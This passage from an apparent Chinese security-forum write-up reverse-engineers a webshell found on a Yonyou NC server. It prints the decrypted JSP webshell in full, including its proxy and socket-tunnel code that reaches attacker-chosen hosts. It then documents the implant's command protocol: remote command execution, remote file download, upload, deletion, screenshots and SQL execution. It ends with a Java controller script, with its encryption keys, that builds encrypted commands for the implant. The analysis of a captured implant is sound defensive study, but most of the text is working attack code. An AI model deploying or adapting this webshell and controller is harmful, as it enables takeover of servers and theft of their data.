0 uint MaxMac 0 uint MaxUpload 0 bool NoBroadcastLimiter false bool NoIPv6DefaultRouterInRA false bool NoIPv6DefaultRouterInRAWhenIPv6 false bool NoServer false bool NoServerV6 false bool RAFilter false bool RSandRAFilter false uint VLanId 0 } } } declare LogSetting { uint PacketLogSwitchType 4 uint PACKET_LOG_ARP 0 uint PACKET_LOG_DHCP 1 uint PACKET_LOG_ETHERNET 0 uint PACKET_LOG_ICMP 0 uint PACKET_LOG_IP 0 uint PACKET_LOG_TCP 0 uint PACKET_LOG_TCP_CONN 1 uint PACKET_LOG_UDP 0 bool SavePacketLog false bool SaveSecurityLog false uint SecurityLogSwitchType 4 } declare Message { } declare Option { uint AccessListIncludeFileCacheLifetime 30 uint AdjustTcpMssValue 0 bool ApplyIPv4AccessListOnArpPacket false bool BroadcastLimiterStrictMode false uint BroadcastStormDetectionThreshold 0 uint ClientMinimumRequiredBuild 0 bool DisableAdjustTcpMss false bool DisableCheckMacOnLocalBridge false bool DisableCorrectIpOffloadChecksum false bool DisableHttpParsing false bool DisableIPParsing false bool DisableKernelModeSecureNAT false bool DisableUdpAcceleration false bool DisableUdpFilterForLocalBridgeNic false bool DisableUserModeSecureNAT false bool DoNotSaveHeavySecurityLogs false bool FilterBPDU false bool FilterIPv4 false bool FilterIPv6 false bool FilterNonIP false bool FilterOSPF false bool FilterPPPoE false bool ManageOnlyLocalUnicastIPv6 true bool ManageOnlyPrivateIP true uint MaxLoggedPacketsPerMinute 0 uint MaxSession 0 bool NoArpPolling true bool NoDhcpPacketLogOutsideHub true bool NoEnum false bool NoIpTable false bool NoIPv4PacketLog false bool NoIPv6AddrPolling false bool NoIPv6DefaultRouterInRAWhenIPv6 true bool NoIPv6PacketLog false bool NoLookBPDUBridgeId false bool NoMacAddressLog true bool NoManageVlanId false bool NoSpinLockForPacketDelay false bool RemoveDefGwOnDhcpForLocalhost true uint RequiredClientId 0 uint SecureNAT_MaxDnsSessionsPerIp 0 uint SecureNAT_MaxIcmpSessionsPerIp 0 uint SecureNAT_MaxTcpSessionsPerIp 0 uint SecureNAT_MaxTcpSynSentPerIp 0 uint SecureNAT_MaxUdpSessionsPerIp 0 string VlanTypeId 0x8100 bool YieldAfterStorePacket false } declare SecureNAT { bool Disabled false bool SaveLog false declare VirtualDhcpServer { string DhcpDnsServerAddress 192.168.30.1 string DhcpDnsServerAddress2 0.0.0.0 string DhcpDomainName localdomain bool DhcpEnabled true uint DhcpExpireTimeSpan 7200 string DhcpGatewayAddress 192.168.30.1 string DhcpLeaseIPEnd 192.168.30.200 string DhcpLeaseIPStart 192.168.30.10 string DhcpSubnetMask 255.255.255.0 } declare VirtualHost { string VirtualHostIp 192.168.30.1 string VirtualHostIpSubnetMask 255.255.255.0 string VirtualHostMacAddress 00-AC-A6-9A-81-1B } declare VirtualRouter { bool NatEnabled true uint NatMtu 1500 uint NatTcpTimeout 1800 uint NatUdpTimeout 60 } } declare Traffic { declare RecvTraffic { uint64 BroadcastBytes 296460 uint64 BroadcastCount 4860 uint64 UnicastBytes 191772 uint64 UnicastCount 4566 } declare SendTraffic { uint64 BroadcastBytes 283528 uint64 BroadcastCount 4648 uint64 UnicastBytes 191772 uint64 UnicastCount 4566 } } } } } methodName uploadFilesessionId rk36LtN8sGY4moG8B ``` 之后我们找到了他的配置文件,他的传递文件格式 为 ```php fineNameSTX&NULNULNUL E://xxx/xxx/x/vpn.bridge.configfileValueSTX T. NULNUL methodNameSTXNULNULNULuploadFilesessionIdSTXDC1NULNULNUL xxx ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-b8e4299db893482d73f1670e42182020a292f0e7.png) ZWBSP 文件开头的 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-ff04c51dd6dd73959a7601d6ee3138b8417b2464.png) 在流量中重解密出 windowsConfig.jsp ```php fileName5 E:/NC65home/webapps/nc_web/ncupload/windowsConfig.jspfileValue+ <%@page import="java.nio.ByteBuffer, java.nio.channels.SocketChannel, java.io.*, java.net.*, java.util.*" pageEncoding="UTF-8" trimDirectiveWhitespaces="true"%> <%! private static char[] en = "CE0XgUOIQFsw1tcy+H95alrukYfdznxZR8PJo2qbh4pe6/VDKijTL3v7BAmGMSNW".toCharArray(); public static String b64en(byte[] data) { StringBuffer sb = new StringBuffer(); int len = data.length; int i = 0; int b1, b2, b3; while (i < len) { b1 = data[i++] & 0xff; if (i == len) { sb.append(en[b1 >>> 2]); sb.append(en[(b1 & 0x3) << 4]); sb.append("=="); break; } b2 = data[i++] & 0xff; if (i == len) { sb.append(en[b1 >>> 2]); sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(en[(b2 & 0x0f) << 2]); sb.append("="); break; } b3 = data[i++] & 0xff; sb.append(en[b1 >>> 2]); sb.append(en[((b1 & 0x03) << 4) | ((b2 & 0xf0) >>> 4)]); sb.append(en[((b2 & 0x0f) << 2) | ((b3 & 0xc0) >>> 6)]); sb.append(en[b3 & 0x3f]); } return sb.toString(); } private static byte[] de = new byte[] {-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,-1,16,-1,-1,-1,45,2,12,37,53,41,19,44,55,33,18,-1,-1,-1,-1,-1,-1,-1,57,56,0,47,1,9,59,17,7,35,48,52,60,62,6,34,8,32,61,51,5,46,63,3,25,31,-1,-1,-1,-1,-1,-1,20,39,14,27,43,26,4,40,49,50,24,21,58,29,36,42,38,22,10,13,23,54,11,30,15,28,-1,-1,-1,-1,-1}; public static byte[] b64de(String str) { byte[] data = str.getBytes(); int len = data.length; ByteArrayOutputStream buf = new ByteArrayOutputStream(len); int i = 0; int b1, b2, b3, b4; while (i < len) { do { b1 = de[data[i++]]; } while (i < len && b1 == -1); if (b1 == -1) { break; } do { b2 = de[data[i++]]; } while (i < len && b2 == -1); if (b2 == -1) { break; } buf.write((int) ((b1 << 2) | ((b2 & 0x30) >>> 4))); do { b3 = data[i++]; if (b3 == 61) { return buf.toByteArray(); } b3 = de[b3]; } while (i < len && b3 == -1); if (b3 == -1) { break; } buf.write((int) (((b2 & 0x0f) << 4) | ((b3 & 0x3c) >>> 2))); do { b4 = data[i++]; if (b4 == 61) { return buf.toByteArray(); } b4 = de[b4]; } while (i < len && b4 == -1); if (b4 == -1) { break; } buf.write((int) (((b3 & 0x03) << 6) | b4)); } return buf.toByteArray(); } static String headerkey(String str) throws Exception { String out = ""; for (String block: str.split("-")) { out += block.substring(0, 1).toUpperCase() + block.substring(1); out += "-"; } return out.substring(0, out.length() - 1); } boolean islocal(String url) throws Exception { String ip = (new URL(url)).getHost(); Enumeration nifs = NetworkInterface.getNetworkInterfaces(); while (nifs.hasMoreElements()) { NetworkInterface nif = nifs.nextElement(); Enumeration addresses = nif.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress addr = addresses.nextElement(); if (addr instanceof Inet4Address) if (addr.getHostAddress().equals(ip)) return true; } } return false; } %> <% String rUrl = request.getHeader("Mueytrthxaatjpsb"); if (rUrl != null) { rUrl = new String(b64de(rUrl)); if (!islocal(rUrl)){ response.reset(); String method = request.getMethod(); URL u = new URL(rUrl); HttpURLConnection conn = (HttpURLConnection) u.openConnection(); conn.setRequestMethod(method); conn.setDoOutput(true); // conn.setConnectTimeout(200); // conn.setReadTimeout(200); Enumeration enu = request.getHeaderNames(); List keys = Collections.list(enu); Collections.reverse(keys); for (String key : keys){ if (!key.equalsIgnoreCase("Mueytrthxaatjpsb")){ String value=request.getHeader(key); conn.setRequestProperty(headerkey(key), value); } } int i; byte[] buffer = new byte[1024]; if (request.getContentLength() != -1){ OutputStream output; try{ output = conn.getOutputStream(); }catch(Exception e){ response.setHeader("Die", "C23vc07BCOdIsUHAmDM4nNP01x7zR4uKsWbBrOV"); return; } ServletInputStream inputStream = request.getInputStream(); while ((i = inputStream.read(buffer)) != -1) { output.write(buffer, 0, i); } output.flush(); output.close(); } for (String key : conn.getHeaderFields().keySet()) { if (key != null && !key.equalsIgnoreCase("Content-Length") && !key.equalsIgnoreCase("Transfer-Encoding")){ String value = conn.getHeaderField(key); response.setHeader(key, value); } } InputStream hin; if (conn.getResponseCode() < HttpURLConnection.HTTP_BAD_REQUEST) { hin = conn.getInputStream(); } else { hin = conn.getErrorStream(); if (hin == null){ response.setStatus(200); return; } } ByteArrayOutputStream baos = new ByteArrayOutputStream(); while ((i = hin.read(buffer)) != -1) { byte[] data = new byte[i]; System.arraycopy(buffer, 0, data, 0, i); baos.write(data); } String responseBody = new String(baos.toByteArray()); response.addHeader("Content-Length", Integer.toString(responseBody.length())); response.setStatus(conn.getResponseCode()); out.write(responseBody); out.flush(); if ( true ) return; // exit } } response.resetBuffer(); response.setStatus(200); String cmd = request.getHeader("Ffydhndmhhl"); if (cmd != null) { String mark = cmd.substring(0,22); cmd = cmd.substring(22); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); if (cmd.compareTo("b5v9XJbF") == 0) { try { String[] target_ary = new String(b64de(request.getHeader("Nnpo"))).split("\\|"); String target = target_ary[0]; int port = Integer.parseInt(target_ary[1]); SocketChannel socketChannel = SocketChannel.open(); socketChannel.connect(new InetSocketAddress(target, port)); socketChannel.configureBlocking(false); application.setAttribute(mark, socketChannel); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "k4MBX7QElVQzrmOdkml_G3pnYz55EFZPIwTO"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } } else if (cmd.compareTo("0FX") == 0) { SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ socketChannel.socket().close(); } catch (Exception e) { } application.removeAttribute(mark); } else if (cmd.compareTo("TQDLLDvYzyrB4pPbieRBk90FIdYgjJcE2si70wIXfql") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try{ ByteBuffer buf = ByteBuffer.allocate(513); int bytesRead = socketChannel.read(buf); int maxRead = 524288; int readLen = 0; while (bytesRead > 0){ byte[] data = new byte[bytesRead]; System.arraycopy(buf.array(), 0, data, 0, bytesRead); out.write(b64en(data)); out.flush(); ((java.nio.Buffer)buf).clear(); readLen += bytesRead; if (bytesRead < 513 || readLen >= maxRead) break; bytesRead = socketChannel.read(buf); } response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); } } else if (cmd.compareTo("CtWP7tBSKiDnysT9hP9pa") == 0){ SocketChannel socketChannel = (SocketChannel)application.getAttribute(mark); try { String inputData = ""; InputStream in = request.getInputStream(); while ( true ){ byte[] buff = new byte[in.available()]; if (in.read(buff) == -1) break; inputData += new String(buff); } byte[] base64 = b64de(inputData); ByteBuffer buf = ByteBuffer.allocate(base64.length); buf.put(base64); buf.flip(); while(buf.hasRemaining()) socketChannel.write(buf); response.setHeader("Sbxspawzq", "CapFLueBCn2ZM"); } catch (Exception e) { response.setHeader("Die", "QmPrA86mT15"); response.setHeader("Sbxspawzq", "G87IdjaYlmwUWO9QjVFHPeP2SVfeMhzT6_pvfN46Km7PazEmu225XmpiAa"); socketChannel.socket().close(); } } } else { out.write(""); } %> methodName uploadFilesessionId Pjlt4vQVL73YdeaRu ``` 也就是说,上传普通文件的格式 ```php fileName STX 5 NUL NUL NUL 文件路径fileValueSTX DC3 +NUL NUL 内容 methodNameSTX NUL NUL NUL uploadFilesessionId STXDC1 NUL NUL NUL sessinonid ``` 这些STX NUL 等都是一个序列化的东西解码出来的,我们可以尝试进行发送序列化对象,这个先按下不表,统一的加解密代码仍需一段时间编写。 2.2 照虎画猫 -------- 我们针对内存马,将功能进行逆向编写控制端。 ### 2.2.1 功能1 test methodName test ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-68db67567151b3e06fb5f18ca5e51dd1c872e0b3.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-ad480f0c0dd0daf43a2e29750bdb2a2916850290.png) 和我们的完全一致, ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-0a73beafb742aef11f42d04679375208ab705c0f.png) 也就是说理论上,我们可以根据代码,逆向写出所有的功能 不再需要我们的拼接 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-a824e204221d609ce7371bc26860c44285887bd5.png) ### 2.2.2 功能2 getBasicsInfo ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-89a03f8c49bf8c14d2c6aa7bf3be3ffd4922aed2.png) ```php methodName getBasicsInfo sessionId xxxxxxx ``` ### 2.2.3 功能3 bigFileUpload ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-07546e701dd67763a3f700f367a6d32067bb9284.png) ```php fileName:E:/NC65home/bin/cert/dllhelp.exe methodName:bigFileUpload position:0//position是偏移量 sessionId:rk36LtN8sGY4moG8B fileContents: 跟byte程序 ``` ### 2.2.4 功能4 uploadFile ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-d0c6c8c7db56baf2e007240adf1116559f8d2d07.png) ```php fileName xxx fileValue byte[]xxx methodName uploadFile sessionId xxxxxx ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-b0fb18be16aa02f2a999fa2efbf7e0998f5a2d45.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-f1e3451f99eb0484a366f57490479c38089552f6.png) 同理我们根据内存马代码推断如下方法 ### 2.2.5 功能5 newFile ```php fileName xxxx methodName newFile sessionId xxxxxx ``` ### 2.2.6 功能6 readFile ```php fileName xxxxxx methodName readFile sessionId xxxxxx ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-3973ea0c4ad6e49dc95742e3eaa5fff6f18500c8.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-12a845d04a025c1d639cae5458955cb4b0cd5ef3.png) ### 2.2.7 功能7 fileRemoteDown ```php url http://xxxxxx/xxxx saveFile 路径/文件名 methodName fileRemoteDown sessionId xxxxxx ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-500a797612c60807bffe15219cea889a85e78a5b.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-cb521e2828298eb0ba2ce3c1cf3a792afe9da69e.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-a8c18486c062f9d227f7ec05358b2589ca7b7799.png) ### 2.2.8 功能8 include 加载字节码 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-c26f978f80356fb6431fe50dae4cd1b0e7b34800.png) ```php binCode binary codeName xxxx methodName include sessionID xxxxx ``` ### 2.2.9功能 9 deleteFIle ```php fineName xxxxxxxxxxx methodName deleteFile sessionId xxxxxxx ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-8c474e5b21ba6a0f371d88e702d85eea0eccde68.png) 我们新建一个文件,尝试删除 当次我们的session为:eUUjSIzNV6RbHJpJF ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-d61a545dea31be540e50170cadd418fedbdd16a0.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-03d53ee8b08fb13725f4ce17419c2e36e8485d42.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-f6cc52a7ae1149e4e91362f57b0273242a7ff70d.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1da7957affe06944d545565586f8576d99b4637e.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-83a3c8f7cef8e8323e2f11c1d4149786e29b8c7b.png) 返回ok即成功 ### 2.2.10功能10 execCommand ```php cmdline cmd /c "whoami" executeableFile cmd executableArgs /c "whoami" arg-0: cmd argCount 3 arg-1 /c arg-2 whoami methodName execCommand sessionID xxxxx 理论上,只有一个argsCunt也可以 也就是 argCount 3 arg-0 cmd arg-1 /c arg-2 whoami methodName execCommand sessionID xxxxx ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-b192b2d7cf91b0085dfae1d9d0aab5b9139100db.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-e905e089c711a0aa879182abd5028003613ee1f9.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-563e253d4dd46b1a4cca1e8fb01c0ca371ee64f9.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1e6635c09ba7afac3cdb1933d24efd71194a2fe2.png) count拼错了,补一次 ### 2.2.11 功能11 screen ```php method screen sessionID xxxxxx ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-e029139d4d7779f6ab43b5cb49a64b5cdf1c4e2f.png) 执行后生成图片 ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-5b2a2d2e36558766e02074eaff2e970fe6a88653.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-3a23bad77663d2a7bb2ab0f8895d11bcc9cecd35.png) ### 2.2.12 功能12 getFile ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-31b6ff8c25281ffe6a64ac4520f332ac79172e0a.png) ```php mechodName getFile sessionId xxxxx dirName 目录 ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-69063583f761f5091383743f94e8816ca45fb66b.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-1618165f512890c3c8b662c1a15bb34e69475892.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-17df026d0eaf3f214fd86541142dd63109772a0d.png) 暂时有一些反序列化的问题 ### 2.2.13 功能13 listFileRoot ```php methodName listFileRoot session xxxx ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-06d4605900e7de00b74763be6110416da46fb7aa.png) ### 2.2.14 功能 14 setFileAttr (应该是针对linux) ```php type 也就是var1 有两种选项,fileBasicAttr 获取基础属性,fileTimeAttr 获取时间属性 attr RWX 可以这么写 fileName ``` ```php public byte[] setFileAttr() { String var1 = this.get("type"); String var2 = this.get("attr"); String var3 = this.get("fileName"); String var4 = "Null"; if (var1 != null && var2 != null && var3 != null) { try { File var5 = new File(var3); if ("fileBasicAttr".equals(var1)) { Class var10001 = class$5; if (var10001 == null) { try { var10001 = Class.forName("java.io.File"); } catch (ClassNotFoundException var27) { throw new NoClassDefFoundError(var27.getMessage()); } class$5 = var10001; } if (this.getMethodByClass(var10001, "setWritable", new Class[]{Boolean.TYPE}) != null) { if (var2.indexOf("R") != -1) { var5.setReadable(true); } if (var2.indexOf("W") != -1) { var5.setWritable(true); } if (var2.indexOf("X") != -1) { var5.setExecutable(true); } var4 = "ok"; } else { var4 = "Java version is less than 1.6"; } } else if ("fileTimeAttr".equals(var1)) { Date var29 = new Date(0L); StringBuffer var7 = new StringBuffer(); var7.append(var2); char[] var8 = new char[13 - var7.length()]; Arrays.fill(var8, '0'); var7.append(var8); var29 = new Date(var29.getTime() + Long.parseLong(var7.toString())); var5.setLastModified(var29.getTime()); var4 = "ok"; try { Class var9 = Class.forName("java.nio.file.Paths"); Class var10 = Class.forName("java.nio.file.Path"); Class var11 = Class.forName("java.nio.file.attribute.BasicFileAttributeView"); Class var12 = Class.forName("java.nio.file.Files"); Class var13 = Class.forName("java.nio.file.attribute.FileTime"); Class var14 = Class.forName("[java.nio.file.LinkOption"); Class[] var10002 = new Class[2]; Class var10005 = class$3; if (var10005 == null) { try { var10005 = Class.forName("java.lang.String"); } catch (ClassNotFoundException var25) { throw new NoClassDefFoundError(var25.getMessage()); } class$3 = var10005; } var10002[0] = var10005; var10005 = class$6; if (var10005 == null) { try { var10005 = Class.forName("[Ljava.lang.String;"); } catch (ClassNotFoundException var24) { throw new NoClassDefFoundError(var24.getMessage()); } class$6 = var10005; } var10002[1] = var10005; Method var15 = var9.getMethod("get", var10002); Method var16 = var13.getMethod("fromMillis", Long.TYPE); var10002 = new Class[]{var10, null, null}; var10005 = class$7; if (var10005 == null) { try { var10005 = Class.forName("java.lang.Class"); } catch (ClassNotFoundException var23) { throw new NoClassDefFoundError(var23.getMessage()); } class$7 = var10005; } var10002[1] = var10005; var10002[2] = var14; Method var17 = var12.getMethod("getFileAttributeView", var10002); Method var18 = var11.getMethod("setTimes", var13, var13, var13); Object var19 = var15.invoke((Object)null, var3, new String[0]); Object var20 = Array.newInstance(var14.getComponentType(), 0); Object var21 = var17.invoke((Object)null, var19, var11, var20); Object var22 = var16.invoke((Object)null, var29.getTime()); var18.invoke(var21, var22, var22, var22); } catch (Throwable var26) { } } else { var4 = "no ExcuteType"; } } catch (Throwable var28) { StringBuffer var6 = new StringBuffer(); var6.append("Exception errMsg:"); var6.append(var28.getMessage()); return var6.toString().getBytes(); } } else { var4 = "type or attr or fileName is empty"; } return var4.getBytes(); } ``` ### 2.2.15 功能15 newDir ```php methodName newDir dirName xxx sessionid xxx ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-5163c64e06ee711e3f52323a541f51ff42ee02c7.png) ### 2.2.16 功能16 moveFile ```php srcFileName destFileName methodName moveFile sessionId xxx ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-87798df6c1c9a0153d33bde1b67600247a4539ed.png) ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-f464cf2c2149cb68d3be6fa9af20cc377b9a6555.png) ### 2.2.17 功能17 copyFile ```php srcFileName destFileName methodName copyFile sessionId xxx ``` ### 2.2.18 功能 18 execSql 该功能是 执行sql语句 ```php dbCharset 一般 UTF-8 可以不填 jdbcURL jdbc:sqlserver://localhost:1433;DatabaseName=db_database01 dbDriver 指定那种driver,类型见下图,可以不填 dbUsername 用户名 dbPassword 密码 execType select,也可以不写 methodName execSql sessionid sxxxxx ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-3b5270335a4a3de34507d8a1b8a30d5d552bcbfa.png) ### 2.2.19 功能19 bigFileDownload ```php fileName mode 有两个模式 read和fileSize,fileSize模式,不需要readByteNum,position参数,直接全读 readByteNum position ``` ### 2.2.20 功能 20 getEnv ```php methodName getEnv sessionid xxx ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-3d9600f01af181d359fc7854e34bb8e7c3cdf94e.png) ### 2.2.21 功能21 getLocalIPList ```php methodName getLocalIPList sessionid xxxxxx ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-ff5f2753cc2080f0c3ced9d29fac47d45855d329.png) ### 2.2.22 功能22 getRealPath ```php methodName getRealPath sessionID xxxxx ``` ![image.png](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-a515d3bfa7ae984661939cdb9ae505858390086d.png) ### 2.2.23 功能23 noLog 字面意思,不产生日志 var1 应该是去调用类,但是这个函数并没有被启用 2.3 较为完善的脚本 ----------- 录制的小gif ![tutieshi_640x360_277s.gif](https://shs3.b.qianxin.com/attack_forum/2022/08/attach-51a3266d23a0fd8ef967ab6a0fc0436b13d2f86e.gif) ### 2.3.1 控制端脚本 暂时更新了大部分功能,但是仍然需要burp辅助,等后续会更新完善版。 ```php package com.company; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.\*; import java.nio.charset.StandardCharsets; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Scanner; import java.util.zip.GZIPOutputStream; public class PayloadX { static EncryptReturnBody encryptReturnBody \= new EncryptReturnBody(); public static String stringToHexString(String s) { String str = ""; for (int i = 0; i < s.length(); i++) { int ch \= s.charAt(i); String s4 \= Integer.toHexString(ch); str = str + s4; } return str; } public static byte\[\] compress(byte\[\] data) throws Exception { ByteArrayInputStream bais \= new ByteArrayInputStream(data); ByteArrayOutputStream baos \= new ByteArrayOutputStream(); // 压缩 compress(bais,baos); byte\[\] output \= baos.toByteArray(); baos.flush(); baos.close(); bais.close(); return output; } //数据压缩 public static void compress(InputStream is, OutputStream os) throws Exception { GZIPOutputStream gos \= new GZIPOutputStream(os); int count; byte data\[\] = new byte\[1024\]; while ((count = is.read(data, 0, 1024)) != -1) { gos.write(data, 0, count); } gos.finish(); gos.flush(); gos.close(); } public static byte\[\] base64Decode(byte\[\] bytes) { byte\[\] value = null; try { Class<?> base64 \= Class.forName("java.util.Base64"); Object decoder \= base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte\[\]) decoder.getClass().getMethod("decode", new Class\[\]{byte\[\].class}).invoke(decoder, new Object\[\]{bytes}); } catch (Exception exception) { try { Class<?> base64 \= Class.forName("sun.misc.BASE64Decoder"); Object decoder \= base64.newInstance(); value = (byte\[\]) decoder.getClass().getMethod("decodeBuffer", new Class\[\]{String.class}).invoke(decoder, new Object\[\]{new String(bytes)}); } catch (Exception exception1) { } } return value; } public static byte\[\] encrypt2(byte\[\] byteContent) { try { SecretKeySpec key \= new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES"); Cipher cipher \= Cipher.getInstance("AES");//AES/ECB/NoPadding // byte\[\] byteContent = content.getBytes("utf-8"); cipher.init(Cipher.ENCRYPT\_MODE, key);// 初始化 byte\[\] result \= cipher.doFinal(byteContent); return result; // 加密 } catch (Exception e){ e.printStackTrace(); } return null; } public static byte\[\] xor(byte\[\] data) { byte\[\] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) { index = i - 1; data\[index\] = (byte) (data\[index\] ^ key\[i % keyLen\]); i++; } return data; } public static String byteToHex(byte\[\] bytes){ String strHex = ""; StringBuilder sb = new StringBuilder(""); for (int n = 0; n < bytes.length; n++) { strHex = Integer.toHexString(bytes\[n\] & 0xFF); sb.append((strHex.length() == 1) ? "0" \+ strHex : strHex); // 每个字节由两个字符表示,位数不够,高位补0 } return sb.toString().trim(); } public static String parseByte2HexStr(byte buf\[\]) { StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf\[i\] & 0xFF); if (hex.length() == 1) { hex = '0' \+ hex; } sb.append(hex.toUpperCase()); } return sb.toString(); } public static byte\[\] hexToByteArray(String inHex){ int hexlen = inHex.length(); byte\[\] result; if (hexlen % 2 \== 1){ //奇数 hexlen++; result = new byte\[(hexlen/2)\]; inHex="0"+inHex; }else { //偶数 result = new byte\[(hexlen/2)\]; } int j=0; for (int i = 0; i < hexlen; i+=2){ result\[j\]=hexToByte(inHex.substring(i,i+2)); j++; } return result; } public static byte hexToByte(String inHex){ return (byte)Integer.parseInt(inHex,16); } public static byte\[\] serialize(Map var1) { Iterator var2 = var1.keySet().iterator(); ByteArrayOutputStream var3 = new ByteArrayOutputStream(); while(var2.hasNext()) { try { String var4 = (String)var2.next(); Object var5 = var1.get(var4); var3.write(var4.getBytes()); byte\[\] var6; if (var5 instanceof byte\[\]) { var3.write(2); var6 = (byte\[\])var5; } else if (var5 instanceof Map) { var3.write(1); var6 = serialize((Map)var5); } else { var3.write(2); if (var5 == null) { var6 = "NULL".getBytes(); } else { var6 = var5.toString().getBytes(); } } var3.write(intToBytes(var6.length)); var3.write(var6); } catch (Exception var7) { } } return var3.toByteArray(); } public static byte\[\] intToBytes(int var0) { return new byte\[\]{(byte)(var0 & 0xFF), (byte)(var0 >> 8 & 0xFF), (byte)(var0 >> 16 & 0xFF), (byte)(var0 >> 24 & 0xFF)}; } public void test() { try { Map parameterMap = new HashMap(); parameterMap.put("methodName", "test"); byte\[\] pp = serialize(parameterMap); System.out.println("获取session:" \+ byteToHex(encrypt2(compress(pp)))); }catch(Exception e){ System.out.println(e); } } public void deleteFile(String session,String localFilePath) { try { Map parameterMap = new HashMap(); parameterMap.put("fileName",localFilePath); parameterMap.put("methodName", "deleteFile"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("删除文件:" \+ byteToHex(encrypt2(compress(pp)))); }catch(Exception e){ System.out.println(e); } } public void execCommand(String session,String cmd){ try { Map parameterMap = new HashMap(); parameterMap.put("argsCount","3"); parameterMap.put("arg-0","cmd"); parameterMap.put("arg-1","/c"); parameterMap.put("arg-2",cmd); parameterMap.put("methodName", "execCommand"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("执行命令:" \+ byteToHex(encrypt2(compress(pp)))); }catch(Exception e){ System.out.println(e); } } public void fileRemoteDown(String session,String remoteUrl,String serverPath){ try { Map parameterMap = new HashMap(); parameterMap.put("url",remoteUrl); parameterMap.put("saveFile",serverPath); parameterMap.put("methodName", "fileRemoteDown"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("远程下载:" \+ byteToHex(encrypt2(compress(pp)))); }catch(Exception e){ System.out.println(e); } } public void getFile(String session,String dirName){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "getFile"); parameterMap.put("sessionId",session); parameterMap.put("dirName",dirName); byte\[\] pp = serialize(parameterMap); System.out.println("列出目录:" \+ byteToHex(encrypt2(compress(pp)))); }catch(Exception e){ System.out.println(e); } } public void screen(String session){ try{ Map parameterMap = new HashMap(); parameterMap.put("methodName", "screen"); parameterMap.put("sessionId",session); byte\[\] pp = serialize(parameterMap); System.out.println("当前屏幕截图:" +byteToHex(encrypt2(compress(pp))) ); // Files.write(Paths.get("./1.png"),encrypt2(compress(pp))); }catch (Exception e){ System.out.println(e); } } public void 